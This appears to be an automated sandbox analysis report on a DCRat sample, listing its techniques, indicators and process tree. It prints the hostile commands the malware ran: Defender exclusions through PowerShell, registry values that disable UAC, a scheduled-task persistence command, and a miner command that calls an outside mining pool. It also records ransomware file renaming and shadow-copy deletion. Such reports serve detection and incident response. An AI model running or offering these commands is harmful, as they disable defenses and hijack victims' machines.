dcrat | bdc2f986320facc24627b6e31ae3ff0147583b04c262a386b2043557b59d06c0

Virtualization/Sandbox Evasion

T1497

Processes:

ec50388a69792d133c1298e1dceb40a6.exeec50388a69792d133c1298e1dceb40a6.exefontdrvhost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	ec50388a69792d133c1298e1dceb40a6.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	ec50388a69792d133c1298e1dceb40a6.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	fontdrvhost.exe

Downloads MZ/PE file

Modifies extensions of user files 5 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

AppLaunch.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Pictures\UnprotectStop.tiff	AppLaunch.exe
File renamed	C:\Users\Admin\Pictures\LockGrant.crw => C:\Users\Admin\Pictures\LockGrant.crw.alice	AppLaunch.exe
File opened for modification	C:\Users\Admin\Pictures\LockGrant.crw.alice	AppLaunch.exe
File renamed	C:\Users\Admin\Pictures\UnprotectStop.tiff => C:\Users\Admin\Pictures\UnprotectStop.tiff.alice	AppLaunch.exe
File opened for modification	C:\Users\Admin\Pictures\UnprotectStop.tiff.alice	AppLaunch.exe

Checks BIOS information in registry 2 TTPs 6 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

ec50388a69792d133c1298e1dceb40a6.exefontdrvhost.exeec50388a69792d133c1298e1dceb40a6.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ec50388a69792d133c1298e1dceb40a6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ec50388a69792d133c1298e1dceb40a6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	fontdrvhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	fontdrvhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ec50388a69792d133c1298e1dceb40a6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ec50388a69792d133c1298e1dceb40a6.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

m.exeec50388a69792d133c1298e1dceb40a6.exeec50388a69792d133c1298e1dceb40a6.exefontdrvhost.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	m.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	ec50388a69792d133c1298e1dceb40a6.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	ec50388a69792d133c1298e1dceb40a6.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	fontdrvhost.exe

Executes dropped EXE 5 IoCs

Processes:

ec50388a69792d133c1298e1dceb40a6.exefontdrvhost.exem.exeh.exemm.exe

pid process

4452 ec50388a69792d133c1298e1dceb40a6.exe
3116 fontdrvhost.exe
1304 m.exe
3932 h.exe
5260 mm.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
4452	ec50388a69792d133c1298e1dceb40a6.exe
3116	fontdrvhost.exe
1304	m.exe
3932	h.exe
5260	mm.exe

Themida packer 10 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
behavioral2/memory/1636-137-0x0000000000390000-0x0000000000A66000-memory.dmp	themida
C:\Recovery\WindowsRE\backgroundTaskHost.exe	themida
C:\Recovery\WindowsRE\RCX9F97.tmp	themida
C:\Users\Admin\AppData\Local\Temp\ec50388a69792d133c1298e1dceb40a6.exe	themida
behavioral2/memory/1636-243-0x0000000000390000-0x0000000000A66000-memory.dmp	themida
behavioral2/memory/4452-305-0x0000000000390000-0x0000000000A66000-memory.dmp	themida
C:\Program Files (x86)\Windows Defender\fr-FR\fontdrvhost.exe	themida
C:\Program Files (x86)\Windows Defender\fr-FR\fontdrvhost.exe	themida
behavioral2/memory/4452-502-0x0000000000390000-0x0000000000A66000-memory.dmp	themida
behavioral2/memory/3116-506-0x0000000000930000-0x0000000001006000-memory.dmp	themida

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Checks whether UAC is enabled 1 TTPs 6 IoCs

evasion trojan

System Information Discovery

Processes:

ec50388a69792d133c1298e1dceb40a6.exefontdrvhost.exeec50388a69792d133c1298e1dceb40a6.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	ec50388a69792d133c1298e1dceb40a6.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	fontdrvhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	fontdrvhost.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	ec50388a69792d133c1298e1dceb40a6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	ec50388a69792d133c1298e1dceb40a6.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	ec50388a69792d133c1298e1dceb40a6.exe

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

AppLaunch.exe

description	ioc	process
File opened (read-only)	\??\W:	AppLaunch.exe
File opened (read-only)	\??\U:	AppLaunch.exe
File opened (read-only)	\??\O:	AppLaunch.exe
File opened (read-only)	\??\G:	AppLaunch.exe
File opened (read-only)	\??\Z:	AppLaunch.exe
File opened (read-only)	\??\Q:	AppLaunch.exe
File opened (read-only)	\??\L:	AppLaunch.exe
File opened (read-only)	\??\V:	AppLaunch.exe
File opened (read-only)	\??\A:	AppLaunch.exe
File opened (read-only)	\??\Y:	AppLaunch.exe
File opened (read-only)	\??\I:	AppLaunch.exe
File opened (read-only)	\??\H:	AppLaunch.exe
File opened (read-only)	\??\J:	AppLaunch.exe
File opened (read-only)	\??\K:	AppLaunch.exe
File opened (read-only)	\??\B:	AppLaunch.exe
File opened (read-only)	\??\N:	AppLaunch.exe
File opened (read-only)	\??\T:	AppLaunch.exe
File opened (read-only)	\??\M:	AppLaunch.exe
File opened (read-only)	\??\R:	AppLaunch.exe
File opened (read-only)	\??\P:	AppLaunch.exe
File opened (read-only)	\??\S:	AppLaunch.exe
File opened (read-only)	\??\F:	AppLaunch.exe
File opened (read-only)	\??\X:	AppLaunch.exe
File opened (read-only)	\??\E:	AppLaunch.exe

Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

53 ipinfo.io
54 ipinfo.io
Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

Processes:

ec50388a69792d133c1298e1dceb40a6.exeec50388a69792d133c1298e1dceb40a6.exefontdrvhost.exe

pid process

1636 ec50388a69792d133c1298e1dceb40a6.exe
4452 ec50388a69792d133c1298e1dceb40a6.exe
3116 fontdrvhost.exe
Suspicious use of SetThreadContext 2 IoCs

Processes:

h.exem.exe

description pid process target process

PID 3932 set thread context of 4056 3932 h.exe AppLaunch.exe
PID 1304 set thread context of 3752 1304 m.exe vbc.exe

flow	ioc
53	ipinfo.io
54	ipinfo.io

description	pid	process	target process
PID 3932 set thread context of 4056	3932	h.exe	AppLaunch.exe
PID 1304 set thread context of 3752	1304	m.exe	vbc.exe

Drops file in Program Files directory 12 IoCs

Processes:

ec50388a69792d133c1298e1dceb40a6.exe

description	ioc	process
File opened for modification	C:\Program Files\Windows Security\RCXD3A2.tmp	ec50388a69792d133c1298e1dceb40a6.exe
File opened for modification	C:\Program Files\Windows Security\RCXD3F2.tmp	ec50388a69792d133c1298e1dceb40a6.exe
File opened for modification	C:\Program Files (x86)\Internet Explorer\images\RCXDBE6.tmp	ec50388a69792d133c1298e1dceb40a6.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\fr-FR\fontdrvhost.exe	ec50388a69792d133c1298e1dceb40a6.exe
File created	C:\Program Files (x86)\Windows Defender\fr-FR\5b884080fd4f94	ec50388a69792d133c1298e1dceb40a6.exe
File opened for modification	C:\Program Files\Windows Security\System.exe	ec50388a69792d133c1298e1dceb40a6.exe
File created	C:\Program Files (x86)\Internet Explorer\images\56085415360792	ec50388a69792d133c1298e1dceb40a6.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\fr-FR\RCXD15F.tmp	ec50388a69792d133c1298e1dceb40a6.exe
File created	C:\Program Files\Windows Security\27d1bcfc3c54e0	ec50388a69792d133c1298e1dceb40a6.exe
File opened for modification	C:\Program Files (x86)\Internet Explorer\images\wininit.exe	ec50388a69792d133c1298e1dceb40a6.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\fr-FR\RCXD101.tmp	ec50388a69792d133c1298e1dceb40a6.exe
File opened for modification	C:\Program Files (x86)\Internet Explorer\images\RCXDC06.tmp	ec50388a69792d133c1298e1dceb40a6.exe

Drops file in Windows directory 4 IoCs

Processes:

ec50388a69792d133c1298e1dceb40a6.exe

description	ioc	process
File opened for modification	C:\Windows\CbsTemp\dllhost.exe	ec50388a69792d133c1298e1dceb40a6.exe
File created	C:\Windows\CbsTemp\5940a34987c991	ec50388a69792d133c1298e1dceb40a6.exe
File opened for modification	C:\Windows\CbsTemp\RCXD888.tmp	ec50388a69792d133c1298e1dceb40a6.exe
File opened for modification	C:\Windows\CbsTemp\RCXD9B2.tmp	ec50388a69792d133c1298e1dceb40a6.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 25 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

Processes:

pid	process
4224	schtasks.exe
5108	schtasks.exe
1584	schtasks.exe
4040	schtasks.exe
3240	schtasks.exe
4672	schtasks.exe
4892	schtasks.exe
4760	schtasks.exe
1300	schtasks.exe
2440	schtasks.exe
4932	schtasks.exe
4948	schtasks.exe
4984	schtasks.exe
1680	schtasks.exe
2748	schtasks.exe
4612	schtasks.exe
540	schtasks.exe
4116	schtasks.exe
4084	schtasks.exe
3888	schtasks.exe
2084	schtasks.exe
3696	schtasks.exe
220	schtasks.exe
1752	schtasks.exe
5032	schtasks.exe

Interacts with shadow copies 2 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

vssadmin.exevssadmin.exe

pid process

5348 vssadmin.exe
5800 vssadmin.exe

pid	process
5348	vssadmin.exe
5800	vssadmin.exe

Modifies registry class 2 IoCs

Processes:

ec50388a69792d133c1298e1dceb40a6.exeec50388a69792d133c1298e1dceb40a6.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	ec50388a69792d133c1298e1dceb40a6.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	ec50388a69792d133c1298e1dceb40a6.exe

Suspicious behavior: EnumeratesProcesses 60 IoCs

Processes:

ec50388a69792d133c1298e1dceb40a6.exepowershell.exepowershell.exepowershell.exepowershell.exeec50388a69792d133c1298e1dceb40a6.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exefontdrvhost.exepowershell.exeAppLaunch.exepowershell.exem.exe

pid	process
1636	ec50388a69792d133c1298e1dceb40a6.exe
1636	ec50388a69792d133c1298e1dceb40a6.exe
1636	ec50388a69792d133c1298e1dceb40a6.exe
2380	powershell.exe
3104	powershell.exe
1912	powershell.exe
692	powershell.exe
3104	powershell.exe
692	powershell.exe
1912	powershell.exe
2380	powershell.exe
4452	ec50388a69792d133c1298e1dceb40a6.exe
4452	ec50388a69792d133c1298e1dceb40a6.exe
4452	ec50388a69792d133c1298e1dceb40a6.exe
4080	powershell.exe
4080	powershell.exe
3336	powershell.exe
3336	powershell.exe
2180	powershell.exe
2180	powershell.exe
4256	powershell.exe
4256	powershell.exe
4868	powershell.exe
4868	powershell.exe
3336	powershell.exe
4080	powershell.exe
2180	powershell.exe
3116	fontdrvhost.exe
3116	fontdrvhost.exe
4256	powershell.exe
4868	powershell.exe
3116	fontdrvhost.exe
3116	fontdrvhost.exe
3116	fontdrvhost.exe
3116	fontdrvhost.exe
3116	fontdrvhost.exe
3116	fontdrvhost.exe
3116	fontdrvhost.exe
3116	fontdrvhost.exe
3116	fontdrvhost.exe
3116	fontdrvhost.exe
3116	fontdrvhost.exe
3116	fontdrvhost.exe
3116	fontdrvhost.exe
3116	fontdrvhost.exe
3116	fontdrvhost.exe
3116	fontdrvhost.exe
3116	fontdrvhost.exe
3116	fontdrvhost.exe
3116	fontdrvhost.exe
4684	powershell.exe
4684	powershell.exe
4684	powershell.exe
4056	AppLaunch.exe
4056	AppLaunch.exe
5380	powershell.exe
5380	powershell.exe
5380	powershell.exe
1304	m.exe
1304	m.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

fontdrvhost.exe

pid process

3116 fontdrvhost.exe

pid	process
3116	fontdrvhost.exe

Suspicious use of AdjustPrivilegeToken 21 IoCs

Processes:

description	pid	process
Token: SeDebugPrivilege	1636	ec50388a69792d133c1298e1dceb40a6.exe
Token: SeDebugPrivilege	692	powershell.exe
Token: SeDebugPrivilege	2380	powershell.exe
Token: SeDebugPrivilege	1912	powershell.exe
Token: SeDebugPrivilege	3104	powershell.exe
Token: SeDebugPrivilege	4452	ec50388a69792d133c1298e1dceb40a6.exe
Token: SeDebugPrivilege	4080	powershell.exe
Token: SeDebugPrivilege	3336	powershell.exe
Token: SeDebugPrivilege	2180	powershell.exe
Token: SeDebugPrivilege	4256	powershell.exe
Token: SeDebugPrivilege	4868	powershell.exe
Token: SeDebugPrivilege	3116	fontdrvhost.exe
Token: SeBackupPrivilege	4632	vssvc.exe
Token: SeRestorePrivilege	4632	vssvc.exe
Token: SeAuditPrivilege	4632	vssvc.exe
Token: SeDebugPrivilege	1304	m.exe
Token: SeDebugPrivilege	4684	powershell.exe
Token: SeBackupPrivilege	5508	vssvc.exe
Token: SeRestorePrivilege	5508	vssvc.exe
Token: SeAuditPrivilege	5508	vssvc.exe
Token: SeDebugPrivilege	5380	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

fontdrvhost.exe

pid process

3116 fontdrvhost.exe

pid	process
3116	fontdrvhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

ec50388a69792d133c1298e1dceb40a6.exeec50388a69792d133c1298e1dceb40a6.exefontdrvhost.exem.exeh.exeAppLaunch.exemm.execmd.execmd.exe

description	pid	process	target process
PID 1636 wrote to memory of 692	1636	ec50388a69792d133c1298e1dceb40a6.exe	powershell.exe
PID 1636 wrote to memory of 692	1636	ec50388a69792d133c1298e1dceb40a6.exe	powershell.exe
PID 1636 wrote to memory of 692	1636	ec50388a69792d133c1298e1dceb40a6.exe	powershell.exe
PID 1636 wrote to memory of 2380	1636	ec50388a69792d133c1298e1dceb40a6.exe	powershell.exe
PID 1636 wrote to memory of 2380	1636	ec50388a69792d133c1298e1dceb40a6.exe	powershell.exe
PID 1636 wrote to memory of 2380	1636	ec50388a69792d133c1298e1dceb40a6.exe	powershell.exe
PID 1636 wrote to memory of 1912	1636	ec50388a69792d133c1298e1dceb40a6.exe	powershell.exe
PID 1636 wrote to memory of 1912	1636	ec50388a69792d133c1298e1dceb40a6.exe	powershell.exe
PID 1636 wrote to memory of 1912	1636	ec50388a69792d133c1298e1dceb40a6.exe	powershell.exe
PID 1636 wrote to memory of 3104	1636	ec50388a69792d133c1298e1dceb40a6.exe	powershell.exe
PID 1636 wrote to memory of 3104	1636	ec50388a69792d133c1298e1dceb40a6.exe	powershell.exe
PID 1636 wrote to memory of 3104	1636	ec50388a69792d133c1298e1dceb40a6.exe	powershell.exe
PID 1636 wrote to memory of 4452	1636	ec50388a69792d133c1298e1dceb40a6.exe	ec50388a69792d133c1298e1dceb40a6.exe
PID 1636 wrote to memory of 4452	1636	ec50388a69792d133c1298e1dceb40a6.exe	ec50388a69792d133c1298e1dceb40a6.exe
PID 1636 wrote to memory of 4452	1636	ec50388a69792d133c1298e1dceb40a6.exe	ec50388a69792d133c1298e1dceb40a6.exe
PID 4452 wrote to memory of 4256	4452	ec50388a69792d133c1298e1dceb40a6.exe	powershell.exe
PID 4452 wrote to memory of 4256	4452	ec50388a69792d133c1298e1dceb40a6.exe	powershell.exe
PID 4452 wrote to memory of 4256	4452	ec50388a69792d133c1298e1dceb40a6.exe	powershell.exe
PID 4452 wrote to memory of 4956	4452	ec50388a69792d133c1298e1dceb40a6.exe	powershell.exe
PID 4452 wrote to memory of 4956	4452	ec50388a69792d133c1298e1dceb40a6.exe	powershell.exe
PID 4452 wrote to memory of 4956	4452	ec50388a69792d133c1298e1dceb40a6.exe	powershell.exe
PID 4452 wrote to memory of 3336	4452	ec50388a69792d133c1298e1dceb40a6.exe	powershell.exe
PID 4452 wrote to memory of 3336	4452	ec50388a69792d133c1298e1dceb40a6.exe	powershell.exe
PID 4452 wrote to memory of 3336	4452	ec50388a69792d133c1298e1dceb40a6.exe	powershell.exe
PID 4452 wrote to memory of 2180	4452	ec50388a69792d133c1298e1dceb40a6.exe	powershell.exe
PID 4452 wrote to memory of 2180	4452	ec50388a69792d133c1298e1dceb40a6.exe	powershell.exe
PID 4452 wrote to memory of 2180	4452	ec50388a69792d133c1298e1dceb40a6.exe	powershell.exe
PID 4452 wrote to memory of 4080	4452	ec50388a69792d133c1298e1dceb40a6.exe	powershell.exe
PID 4452 wrote to memory of 4080	4452	ec50388a69792d133c1298e1dceb40a6.exe	powershell.exe
PID 4452 wrote to memory of 4080	4452	ec50388a69792d133c1298e1dceb40a6.exe	powershell.exe
PID 4452 wrote to memory of 4868	4452	ec50388a69792d133c1298e1dceb40a6.exe	powershell.exe
PID 4452 wrote to memory of 4868	4452	ec50388a69792d133c1298e1dceb40a6.exe	powershell.exe
PID 4452 wrote to memory of 4868	4452	ec50388a69792d133c1298e1dceb40a6.exe	powershell.exe
PID 4452 wrote to memory of 3116	4452	ec50388a69792d133c1298e1dceb40a6.exe	fontdrvhost.exe
PID 4452 wrote to memory of 3116	4452	ec50388a69792d133c1298e1dceb40a6.exe	fontdrvhost.exe
PID 4452 wrote to memory of 3116	4452	ec50388a69792d133c1298e1dceb40a6.exe	fontdrvhost.exe
PID 3116 wrote to memory of 1304	3116	fontdrvhost.exe	m.exe
PID 3116 wrote to memory of 1304	3116	fontdrvhost.exe	m.exe
PID 1304 wrote to memory of 4684	1304	m.exe	powershell.exe
PID 1304 wrote to memory of 4684	1304	m.exe	powershell.exe
PID 3116 wrote to memory of 3932	3116	fontdrvhost.exe	h.exe
PID 3116 wrote to memory of 3932	3116	fontdrvhost.exe	h.exe
PID 3116 wrote to memory of 3932	3116	fontdrvhost.exe	h.exe
PID 3932 wrote to memory of 4056	3932	h.exe	AppLaunch.exe
PID 3932 wrote to memory of 4056	3932	h.exe	AppLaunch.exe
PID 3932 wrote to memory of 4056	3932	h.exe	AppLaunch.exe
PID 3932 wrote to memory of 4056	3932	h.exe	AppLaunch.exe
PID 3932 wrote to memory of 4056	3932	h.exe	AppLaunch.exe
PID 4056 wrote to memory of 4956	4056	AppLaunch.exe	cmd.exe
PID 4056 wrote to memory of 4956	4056	AppLaunch.exe	cmd.exe
PID 3116 wrote to memory of 5260	3116	fontdrvhost.exe	mm.exe
PID 3116 wrote to memory of 5260	3116	fontdrvhost.exe	mm.exe
PID 5260 wrote to memory of 5380	5260	mm.exe	powershell.exe
PID 5260 wrote to memory of 5380	5260	mm.exe	powershell.exe
PID 4056 wrote to memory of 5740	4056	AppLaunch.exe	cmd.exe
PID 4056 wrote to memory of 5740	4056	AppLaunch.exe	cmd.exe
PID 5740 wrote to memory of 5800	5740	cmd.exe	vssadmin.exe
PID 5740 wrote to memory of 5800	5740	cmd.exe	vssadmin.exe
PID 1304 wrote to memory of 6136	1304	m.exe	cmd.exe
PID 1304 wrote to memory of 6136	1304	m.exe	cmd.exe
PID 6136 wrote to memory of 4040	6136	cmd.exe	schtasks.exe
PID 6136 wrote to memory of 4040	6136	cmd.exe	schtasks.exe
PID 1304 wrote to memory of 3752	1304	m.exe	vbc.exe
PID 1304 wrote to memory of 3752	1304	m.exe	vbc.exe

System policy modification 1 TTPs 9 IoCs

evasion

Modify Registry

T1112

Processes:

ec50388a69792d133c1298e1dceb40a6.exeec50388a69792d133c1298e1dceb40a6.exefontdrvhost.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	ec50388a69792d133c1298e1dceb40a6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	ec50388a69792d133c1298e1dceb40a6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	ec50388a69792d133c1298e1dceb40a6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	ec50388a69792d133c1298e1dceb40a6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	fontdrvhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	ec50388a69792d133c1298e1dceb40a6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	ec50388a69792d133c1298e1dceb40a6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	fontdrvhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	fontdrvhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\ec50388a69792d133c1298e1dceb40a6.exe
"C:\Users\Admin\AppData\Local\Temp\ec50388a69792d133c1298e1dceb40a6.exe"
1⤵
- UAC bypass
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1636

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\ec50388a69792d133c1298e1dceb40a6.exe'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:692

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Public\Music\backgroundTaskHost.exe'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1912

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\backgroundTaskHost.exe'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2380

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\spoolsv.exe'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3104

C:\Users\Admin\AppData\Local\Temp\ec50388a69792d133c1298e1dceb40a6.exe
"C:\Users\Admin\AppData\Local\Temp\ec50388a69792d133c1298e1dceb40a6.exe"
2⤵
- UAC bypass
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4452

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\ec50388a69792d133c1298e1dceb40a6.exe'
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4256

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Defender\fr-FR\fontdrvhost.exe'
3⤵
PID:4956

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Security\System.exe'
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3336

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\winlogon.exe'
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2180

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\CbsTemp\dllhost.exe'
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4080

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Internet Explorer\images\wininit.exe'
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4868

C:\Program Files (x86)\Windows Defender\fr-FR\fontdrvhost.exe
"C:\Program Files (x86)\Windows Defender\fr-FR\fontdrvhost.exe"
3⤵
- UAC bypass
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- System policy modification
PID:3116

C:\Users\Admin\AppData\Local\Temp\m.exe
"C:\Users\Admin\AppData\Local\Temp\m.exe"
4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1304

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4684

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "ZEGCIBQVA" /tr "C:\ProgramData\battlenet\ZEGCIBQVA.exe"
5⤵
- Suspicious use of WriteProcessMemory
PID:6136

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "ZEGCIBQVA" /tr "C:\ProgramData\battlenet\ZEGCIBQVA.exe"
6⤵
- Creates scheduled task(s)
PID:4040

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RFLLB2JSF2jF32LXcusk7Mo9bvC7o8WbPt.work -p x -t 10
5⤵
PID:3752

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c cls
6⤵
PID:1676

C:\Users\Admin\AppData\Local\Temp\h.exe
"C:\Users\Admin\AppData\Local\Temp\h.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3932

